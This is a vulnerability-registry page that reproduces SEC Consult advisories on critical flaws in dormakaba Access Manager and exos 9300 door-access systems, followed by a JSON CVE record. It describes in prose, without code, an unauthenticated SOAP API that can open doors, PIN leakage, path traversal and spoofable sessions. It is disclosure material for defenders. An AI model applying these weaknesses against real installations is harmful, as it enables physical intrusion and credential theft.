- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
387 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0191
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 13:32
VLAI
EPSS
VEX
Title
SEC Consult SA-20260126-1 :: Multiple Critical Vulnerabilities in dormakaba Access Manager
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260126-1 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: dormakaba Access Manager
vulnerable version: Multiple firmware and hardware revisions (details below)
fixed version: Multiple firmware and hardware revisions (details below)
CVE number: CVE-2025-59097, CVE-2025-59098, CVE-2025-59099,
CVE-2025-59100, CVE-2025-59101, CVE-2025-59102,
CVE-2025-59103, CVE-2025-59104, CVE-2025-59105,
CVE-2025-59106, CVE-2025-59107, CVE-2025-59108
impact: critical
homepage:https://www.dormakaba.com/
found: 2024-03-18
by: Clemens Stockenreitner (Office Vienna)
Werner Schober (Office Vienna)
Supported by the HW Lab Vienna
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"The Kaba exos 9300 basic system is the cornerstone of your access
management solution. Use it to resolves all your basic employees,
system, user and peripheral management tasks and initiate targeted
security measures as required. [...] "
Source:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000
Business recommendation:
------------------------
The vendor provides multiple patches which should be installed immediately.
More details can be found at the following locations:
- Solution at the end of this advisory
- SEC Consult blog post:https://r.sec-consult.com/dormakaba
- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories
- Your dormakaba partner
Tested Architecture Overview
-----------------------------------
The tested system is the enterprise grade physical access system from
dormakaba. The tested system consists of the following components:
------------------------------
dormakaba exos 9300
------------------------------
Exos 9300 is a piece of software based on C# running on a central Windows server with
an MSSQL, or Oracle database as central storage.
Exos consists of multiple modules (e.g. basis, employee management, key depot, access,
visitor management, 3rd party management). Exos is used to centrally manage users,
keys, cards as well as the configuration of the access manager. Devices in the
exos environment are addressed using a special addressing scheme. The address scheme
described in the following table is going to be important.
┌────────────────────┬───────────────────────────┬───────────────┬───────────────────────────────────────────┬───────────────────────────┬───────────────────┐
│ I │ 01 │ 00 │ 01 │
00 │ 00 │
├────────────────────┼───────────────────────────┼───────────────┼───────────────────────────────────────────┼───────────────────────────┼───────────────────┤
│ Port Type │ Communication Hub Address │ Port Address │ Access Hub Address │ 00 =
Door Manager │ Datapoint Address │
│ I = Access Manager │ Values: 01-99 │ Values: 00-99 │ Values: 00-99 │ 01 =
Access Point │ Values: 00-20 │
│ B = Serial │ │ │ Fixed to 01 for Access Hubs with Ethernet │ 02 =
Turnstile │ │
│ C = Modem │ │ │ │ 03 = IO
Controller │ │
│ E = Ethernet │ │ │ │ Fixed to
00 in most cases │ │
│ R = remote │ │ │ │
│ │
└────────────────────┴───────────────────────────┴───────────────┴───────────────────────────────────────────┴───────────────────────────┴───────────────────┘
------------------------------
dormakaba Access Manager
------------------------------
The access manager is a component that is configured via exos. The configuration
between exos and access manager is exchanged via a SOAP interface. Per default
the data exchange is unencrypted. Encryption is only available starting with
access manager hardware release K7.
The access manager is a custom piece of hardware with multiple inputs and outputs.
The device offers the following interfaces:
- Digital Inputs
- 3x DC Output Relays
- 2x RS-232
- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)
- 1x RJ45
- 1x Micro USB
- 2x Coax (Used to connect registration units e.g. 9001, 9002)
The tested hardware was an access manager 9200-k5 running Windows CE embedded,
and an access manager 9200-k7 running Linux.
------------------------------
dormakaba Registration Unit
------------------------------
dormakaba registration units can be either a Legic/Mifare card reader,
or a PIN pad used to enter a PIN to deactivate alarming systems, or as
an additional authentication.
------------------------------
Electric lock
------------------------------
The lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock
is simply controlled via a relay contact connected to the Access Manager. As
soon as a user successfully authenticates with a registration unit,
the relay connected to the lock is switched and the door opens.
The system is depicted in the following diagram.
┌─────────┐
│ │
│exos 9300│ ┌──────────┐ ┌──────────┐
│ │ │ Reg Unit │ │ Pin Pad │
└────┬────┘ │ ┌──┐ │ │ x x x │
│ │ │┼┼│ │ │ x x x │
Ethernet──────►│ │ └──┘ │ │ x x x │
│ │ 9001 │ │ 9002 │
┌────┴────┐ └─────┬────┘ └─────┬────┘
│ Access │ │ │
│ Manager ├────────────────────┴─────────────┘
│ 9200 │ ▲
└────┬────┘ │
│ Coax
│
DC Relay───► │
│
┌──┴──┐
│ │
│ │
│ │
│ ─┤◄──────Electric Lock
│ │
│ │
└─────┘
Vulnerability overview/description:
-----------------------------------
1) Unauthenticated SOAP API (CVE-2025-59097)
The exos 9300 application can be used to configure access managers (e.g. 9200,
9230 and 9290). The configuration is done in a graphical user interface on the
dormakaba exos server. As soon as the save button is clicked in exos 9300, the
whole configuration is sent to the selected access manager via SOAP. The SOAP
request is sent without any prior authentication or authorization by default.
Though authentication and authorization can be configured using IPsec for 9200-K5
devices and mTLS for 9200-K7 devices, it is not enabled by default and must
therefore be activated with additional steps.
This insecure default allows an attacker with network level access to completely
control the whole environment. An attacker is for example easily able to conduct
the following tasks without prior authentication:
- Re-configure access managers (e.g. remove alarming system requirements)
- Freely re-configure the inputs and outputs - Open all connected doors permanently
- Open all doors for a defined time interval
- Change the admin password
- and many more
Network level access can be gained due to an insufficient network segmentation as well
as missing LAN firewalls. Some devices with an insecure configuration have been
identified to be directly exposed to the internet as well.
Vulnerable Versions:
- 92xx-K5: All versions on the market
- 92xx-K7: <BAME 06.00
2) Trace Functionality Leaking Sensitive Data (CVE-2025-59098)
The access manager is offering a trace functionality to debug errors and issues
with the device. The trace functionality is implemented as a simple TCP socket.
A tool called TraceClient.exe, provided by dormakaba via the Access Manager web
interface, is used to connect to the socket and receive debug information. The data
is permanently broadcast on the TCP socket. The socket can be accessed without
any authentication or encryption.
The transmitted data is based on the set verbosity level. The verbosity level can be
set using the HTTP(S) endpoint with the service interface password or with the guessable
identifier of the device via the SOAP interface.
The transmitted data contains sensitive data like the Card ID as well as all
button presses on registration units. This allows an attacker with network level
access to retrieve all entered PINs on a registration unit.
Vulnerable Versions:
- 92xx-K5: <XAMB 04.06.212
- 92xx-K7: <BAME 05.02.156
3) Unauthenticated Path Traversal (CVE-2025-59099)
The Access Manager is using the open source web server "CompactWebServer" written
in C#. This web server is affected by a path traversal vulnerability, which
allows an attacker to directly access files via simple GET requests without
prior authentication.
Hence, it is possible to retrieve all files stored on the file system, including
the SQLite database Database.sq3, containing badge information and the corresponding
PIN codes. Additionally, when trying to access certain files, the web server crashes
and becomes unreachable for about 60 seconds. This can be abused to continuously send
the request and cause denial of service.
Vulnerable Versions:
- 92xx-K5: <XAMB 04.05.21
- 92xx-K7: <BAME 04.05.16
4) Unauthenticated Access to the SQLite Database (CVE-2025-59100)
The web interface offers a functionality to export the internal SQLite database.
After executing the database export, an automatic download is started and the
device reboots. After rebooting, the exported database is deleted and cannot be
accessed anymore. However, it was noticed that sometimes the device does not reboot
and therefore the exported database is not deleted, or the device reboots and the
export is not deleted for unknown reasons. The path where the database export is
located can be accessed without prior authentication. This leads to the fact that
an attacker might be able to get access to the exported database without prior
authentication. The database includes sensitive data like passwords, card pins,
encrypted Mifare sitekeys and much more.
Vulnerable Versions:
- 92xx-K5: <XAMB 04.06.212
5) Insufficient Session Management (CVE-2025-59101)
Instead of typical session tokens or cookies, it is verified on a per-request basis
if the originating IP address has once successfully logged in. As soon as an
authentication request from a certain source IP is successful, the IP address
is handled as authenticated. No other session information is stored. Therefore,
it is possible to spoof the IP address of a logged-in user to gain access to
the Access Manager web interface.
Vulnerable Versions:
- 92xx-K5: <XAMB 04.06.212
- 92xx-K7: <BAME 04.07.268
6) Secrets Stored in Plaintext in Database (CVE-2025-59102)
The web server of the Access Manager offers a functionality to download a backup
of the local database stored on the device. This database contains the whole
configuration. This includes encrypted MIFARE keys, card data, user PINs and
much more. The PINs are even stored unencrypted. Combined with the fact that an
attacker can e
Severity
No CVSS data available.
Assigner
References
22 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dormakaba | SEC Consult SA-20260126-1 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0191 (this record)
- related CVE-2025-59097
- related CVE-2025-59098
- related CVE-2025-59099
- related CVE-2025-59100
- related CVE-2025-59101
- related CVE-2025-59102
- related CVE-2025-59103
- related CVE-2025-59104
- related CVE-2025-59105
- related CVE-2025-59106
- related CVE-2025-59107
- related CVE-2025-59108
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260126-1",
"vendor": "Dormakaba",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260126-1 \u003e\n=======================================================================\n title: Multiple Critical Vulnerabilities\n product: dormakaba Access Manager\n vulnerable version: Multiple firmware and hardware revisions (details below)\n fixed version: Multiple firmware and hardware revisions (details below)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-59097, CVE-2025-59098, CVE-2025-59099,\n CVE-2025-59100, CVE-2025-59101, CVE-2025-59102,\n CVE-2025-59103, CVE-2025-59104, CVE-2025-59105,\n CVE-2025-59106, CVE-2025-59107, CVE-2025-59108\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n homepage:https://www.dormakaba.com/\n found: 2024-03-18\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Clemens Stockenreitner (Office Vienna)\n Werner Schober (Office Vienna)\n Supported by the HW Lab Vienna\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The Kaba exos 9300 basic system is the cornerstone of your access\nmanagement solution. Use it to resolves all your basic employees,\nsystem, user and peripheral management tasks and initiate targeted\nsecurity measures as required. [...] \"\n\nSource:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides multiple patches which should be installed immediately.\nMore details can be found at the following locations:\n- Solution at the end of this advisory\n- SEC Consult blog post:https://r.sec-consult.com/dormakaba\n- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories\n- Your dormakaba partner\n\n\nTested Architecture Overview\n-----------------------------------\nThe tested system is the enterprise grade physical access system from\ndormakaba. The tested system consists of the following components:\n\n------------------------------\ndormakaba exos 9300\n------------------------------\nExos 9300 is a piece of software based on C# running on a central Windows server with\nan MSSQL, or Oracle database as central storage.\nExos consists of multiple modules (e.g. basis, employee management, key depot, access,\nvisitor management, 3rd party management). Exos is used to centrally manage users,\nkeys, cards as well as the configuration of the access manager. Devices in the\nexos environment are addressed using a special addressing scheme. The address scheme\ndescribed in the following table is going to be important.\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 I \u2502 01 \u2502 00 \u2502 01 \u2502 \n 00 \u2502 00 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Port Type \u2502 Communication Hub Address \u2502 Port Address \u2502 Access Hub Address \u2502 00 = \nDoor Manager \u2502 Datapoint Address \u2502\n\u2502 I = Access Manager \u2502 Values: 01-99 \u2502 Values: 00-99 \u2502 Values: 00-99 \u2502 01 = \nAccess Point \u2502 Values: 00-20 \u2502\n\u2502 B = Serial \u2502 \u2502 \u2502 Fixed to 01 for Access Hubs with Ethernet \u2502 02 = \nTurnstile \u2502 \u2502\n\u2502 C = Modem \u2502 \u2502 \u2502 \u2502 03 = IO \nController \u2502 \u2502\n\u2502 E = Ethernet \u2502 \u2502 \u2502 \u2502 Fixed to \n00 in most cases \u2502 \u2502\n\u2502 R = remote \u2502 \u2502 \u2502 \u2502 \n \u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n------------------------------\ndormakaba Access Manager\n------------------------------\nThe access manager is a component that is configured via exos. The configuration\nbetween exos and access manager is exchanged via a SOAP interface. Per default\nthe data exchange is unencrypted. Encryption is only available starting with\naccess manager hardware release K7.\nThe access manager is a custom piece of hardware with multiple inputs and outputs.\nThe device offers the following interfaces:\n- Digital Inputs\n- 3x DC Output Relays\n- 2x RS-232\n- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)\n- 1x RJ45\n- 1x Micro USB\n- 2x Coax (Used to connect registration units e.g. 9001, 9002)\n\nThe tested hardware was an access manager 9200-k5 running Windows CE embedded,\nand an access manager 9200-k7 running Linux.\n\n------------------------------\ndormakaba Registration Unit\n------------------------------\ndormakaba registration units can be either a Legic/Mifare card reader,\nor a PIN pad used to enter a PIN to deactivate alarming systems, or as\nan additional authentication.\n\n------------------------------\nElectric lock\n------------------------------\nThe lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock\nis simply controlled via a relay contact connected to the Access Manager. As\nsoon as a user successfully authenticates with a registration unit,\nthe relay connected to the lock is switched and the door opens.\n\nThe system is depicted in the following diagram.\n\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502\n \u2502exos 9300\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 \u2502 Reg Unit \u2502 \u2502 Pin Pad \u2502\n \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2510 \u2502 \u2502 x x x \u2502\n \u2502 \u2502 \u2502\u253c\u253c\u2502 \u2502 \u2502 x x x \u2502\nEthernet\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 \u2502 \u2514\u2500\u2500\u2518 \u2502 \u2502 x x x \u2502\n \u2502 \u2502 9001 \u2502 \u2502 9002 \u2502\n \u250c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518\n \u2502 Access \u2502 \u2502 \u2502\n \u2502 Manager \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 9200 \u2502 \u25b2\n \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2502\n \u2502 Coax\n \u2502\n DC Relay\u2500\u2500\u2500\u25ba \u2502\n \u2502\n \u250c\u2500\u2500\u2534\u2500\u2500\u2510\n \u2502 \u2502\n \u2502 \u2502\n \u2502 \u2502\n \u2502 \u2500\u2524\u25c4\u2500\u2500\u2500\u2500\u2500\u2500Electric Lock\n \u2502 \u2502\n \u2502 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2518\n\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Unauthenticated SOAP API (CVE-2025-59097)\nThe exos 9300 application can be used to configure access managers (e.g. 9200,\n9230 and 9290). The configuration is done in a graphical user interface on the\ndormakaba exos server. As soon as the save button is clicked in exos 9300, the\nwhole configuration is sent to the selected access manager via SOAP. The SOAP\nrequest is sent without any prior authentication or authorization by default.\nThough authentication and authorization can be configured using IPsec for 9200-K5\ndevices and mTLS for 9200-K7 devices, it is not enabled by default and must\ntherefore be activated with additional steps.\n\nThis insecure default allows an attacker with network level access to completely\ncontrol the whole environment. An attacker is for example easily able to conduct\nthe following tasks without prior authentication:\n- Re-configure access managers (e.g. remove alarming system requirements)\n- Freely re-configure the inputs and outputs - Open all connected doors permanently\n- Open all doors for a defined time interval\n- Change the admin password\n- and many more\n\nNetwork level access can be gained due to an insufficient network segmentation as well\nas missing LAN firewalls. Some devices with an insecure configuration have been\nidentified to be directly exposed to the internet as well.\n\nVulnerable Versions:\n- 92xx-K5: All versions on the market\n- 92xx-K7: \u003cBAME 06.00\n\n2) Trace Functionality Leaking Sensitive Data (CVE-2025-59098)\nThe access manager is offering a trace functionality to debug errors and issues\nwith the device. The trace functionality is implemented as a simple TCP socket.\nA tool called TraceClient.exe, provided by dormakaba via the Access Manager web\ninterface, is used to connect to the socket and receive debug information. The data\nis permanently broadcast on the TCP socket. The socket can be accessed without\nany authentication or encryption.\n\nThe transmitted data is based on the set verbosity level. The verbosity level can be\nset using the HTTP(S) endpoint with the service interface password or with the guessable\nidentifier of the device via the SOAP interface.\n\nThe transmitted data contains sensitive data like the Card ID as well as all\nbutton presses on registration units. This allows an attacker with network level\naccess to retrieve all entered PINs on a registration unit.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.06.212\n- 92xx-K7: \u003cBAME 05.02.156\n\n\n3) Unauthenticated Path Traversal (CVE-2025-59099)\nThe Access Manager is using the open source web server \"CompactWebServer\" written\nin C#. This web server is affected by a path traversal vulnerability, which\nallows an attacker to directly access files via simple GET requests without\nprior authentication.\n\nHence, it is possible to retrieve all files stored on the file system, including\nthe SQLite database Database.sq3, containing badge information and the corresponding\nPIN codes. Additionally, when trying to access certain files, the web server crashes\nand becomes unreachable for about 60 seconds. This can be abused to continuously send\nthe request and cause denial of service.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.05.21\n- 92xx-K7: \u003cBAME 04.05.16\n\n4) Unauthenticated Access to the SQLite Database (CVE-2025-59100)\nThe web interface offers a functionality to export the internal SQLite database.\nAfter executing the database export, an automatic download is started and the\ndevice reboots. After rebooting, the exported database is deleted and cannot be\naccessed anymore. However, it was noticed that sometimes the device does not reboot\nand therefore the exported database is not deleted, or the device reboots and the\nexport is not deleted for unknown reasons. The path where the database export is\nlocated can be accessed without prior authentication. This leads to the fact that\nan attacker might be able to get access to the exported database without prior\nauthentication. The database includes sensitive data like passwords, card pins,\nencrypted Mifare sitekeys and much more.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.06.212\n\n5) Insufficient Session Management (CVE-2025-59101)\nInstead of typical session tokens or cookies, it is verified on a per-request basis\nif the originating IP address has once successfully logged in. As soon as an\nauthentication request from a certain source IP is successful, the IP address\nis handled as authenticated. No other session information is stored. Therefore,\nit is possible to spoof the IP address of a logged-in user to gain access to\nthe Access Manager web interface.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.06.212\n- 92xx-K7: \u003cBAME 04.07.268\n\n6) Secrets Stored in Plaintext in Database (CVE-2025-59102)\nThe web server of the Access Manager offers a functionality to download a backup\nof the local database stored on the device. This database contains the whole\nconfiguration. This includes encrypted MIFARE keys, card data, user PINs and\nmuch more. The PINs are even stored unencrypted. Combined with the fact that an\nattacker can e"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:32:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/23"
},
{
"url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService\""
},
{
"url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/BinaryTimezoneUpdate\""
},
{
"url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/ExecutePassagewayCommand\""
},
{
"url": "http://schemas.microsoft.com/2003/10/Serialization/\""
},
{
"url": "http://www.w3.org/2001/XMLSchema\""
},
{
"url": "http://www.w3.org/2001/XMLSchema-instance\""
},
{
"url": "http://www.w3.org/2003/05/soap-encoding\""
},
{
"url": "http://www.w3.org/2003/05/soap-envelope\""
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://r.sec-consult.com/dormakaba"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dormakaba.com/"
},
{
"url": "https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000"
},
{
"url": "https://www.dormakabagroup.com/en/security-advisories"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/23"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260126-1 :: Multiple Critical Vulnerabilities in dormakaba Access Manager",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-59097",
"type": "related"
},
{
"destId": "CVE-2025-59098",
"type": "related"
},
{
"destId": "CVE-2025-59099",
"type": "related"
},
{
"destId": "CVE-2025-59100",
"type": "related"
},
{
"destId": "CVE-2025-59101",
"type": "related"
},
{
"destId": "CVE-2025-59102",
"type": "related"
},
{
"destId": "CVE-2025-59103",
"type": "related"
},
{
"destId": "CVE-2025-59104",
"type": "related"
},
{
"destId": "CVE-2025-59105",
"type": "related"
},
{
"destId": "CVE-2025-59106",
"type": "related"
},
{
"destId": "CVE-2025-59107",
"type": "related"
},
{
"destId": "CVE-2025-59108",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0191",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/23",
"automated": true,
"contentSha256": "57e9688107e04992c6027e9d5f1d85f056573a110cd49d8ac7decd85f4d9fa6f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-26T10:21:48Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0191"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-09T13:32:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0191"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0190
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 13:31
VLAI
EPSS
VEX
Title
SEC Consult SA-20260126-0 :: Multiple Critical Vulnerabilities in dormakaba Kaba exos 9300
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260126-0 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: dormakaba Kaba exos 9300
vulnerable version: < 4.4.1
fixed version: 4.4.1
CVE number: CVE-2025-59090, CVE-2025-59091, CVE-2025-59092
CVE-2025-59093, CVE-2025-59094, CVE-2025-59095
CVE-2025-59096
impact: critical
homepage:https://www.dormakaba.com/
found: 2024-03-18
by: Clemens Stockenreitner (Office Vienna)
Werner Schober (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"The Kaba exos 9300 basic system is the cornerstone of your access
management solution. Use it to resolves all your basic employees,
system, user and peripheral management tasks and initiate targeted
security measures as required. [...] "
Source:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000
Business recommendation:
------------------------
The vendor provides multiple patches which should be installed immediately.
More details can be found at the following locations:
- Solution at the end of this advisory
- SEC Consult blog post:https://r.sec-consult.com/dormakaba
- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories
- Your dormakaba partner
Tested Architecture Overview
-----------------------------------
The tested system is the enterprise grade physical access system from
dormakaba. The tested system consists of the following components:
------------------------------
dormakaba exos 9300
------------------------------
Exos 9300 is a piece of software based on C# running on a central Windows server with
an MSSQL, or Oracle database as central storage.
Exos consists of multiple modules (e.g. basis, employee management, key depot, access,
visitor management, 3rd party management). Exos is used to centrally manage users,
keys, cards as well as the configuration of the access manager. Devices in the
exos environment are addressed using a special addressing scheme. The address scheme
described in the following table is going to be important.
┌────────────────────┬───────────────────────────┬───────────────┬───────────────────────────────────────────┬───────────────────────────┬───────────────────┐
│ I │ 01 │ 00 │ 01 │
00 │ 00 │
├────────────────────┼───────────────────────────┼───────────────┼───────────────────────────────────────────┼───────────────────────────┼───────────────────┤
│ Port Type │ Communication Hub Address │ Port Address │ Access Hub Address │ 00 =
Door Manager │ Datapoint Address │
│ I = Access Manager │ Values: 01-99 │ Values: 00-99 │ Values: 00-99 │ 01 =
Access Point │ Values: 00-20 │
│ B = Serial │ │ │ Fixed to 01 for Access Hubs with Ethernet │ 02 =
Turnstile │ │
│ C = Modem │ │ │ │ 03 = IO
Controller │ │
│ E = Ethernet │ │ │ │ Fixed to
00 in most cases │ │
│ R = remote │ │ │ │
│ │
└────────────────────┴───────────────────────────┴───────────────┴───────────────────────────────────────────┴───────────────────────────┴───────────────────┘
------------------------------
dormakaba Access Manager
------------------------------
The access manager is a component that is configured via exos. The configuration
between exos and access manager is exchanged via a SOAP interface. Per default
the data exchange is unencrypted. Encryption is only available starting with
access manager hardware release K7.
The access manager is a custom piece of hardware with multiple inputs and outputs.
The device offers the following interfaces:
- Digital Inputs
- 3x DC Output Relays
- 2x RS-232
- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)
- 1x RJ45
- 1x Micro USB
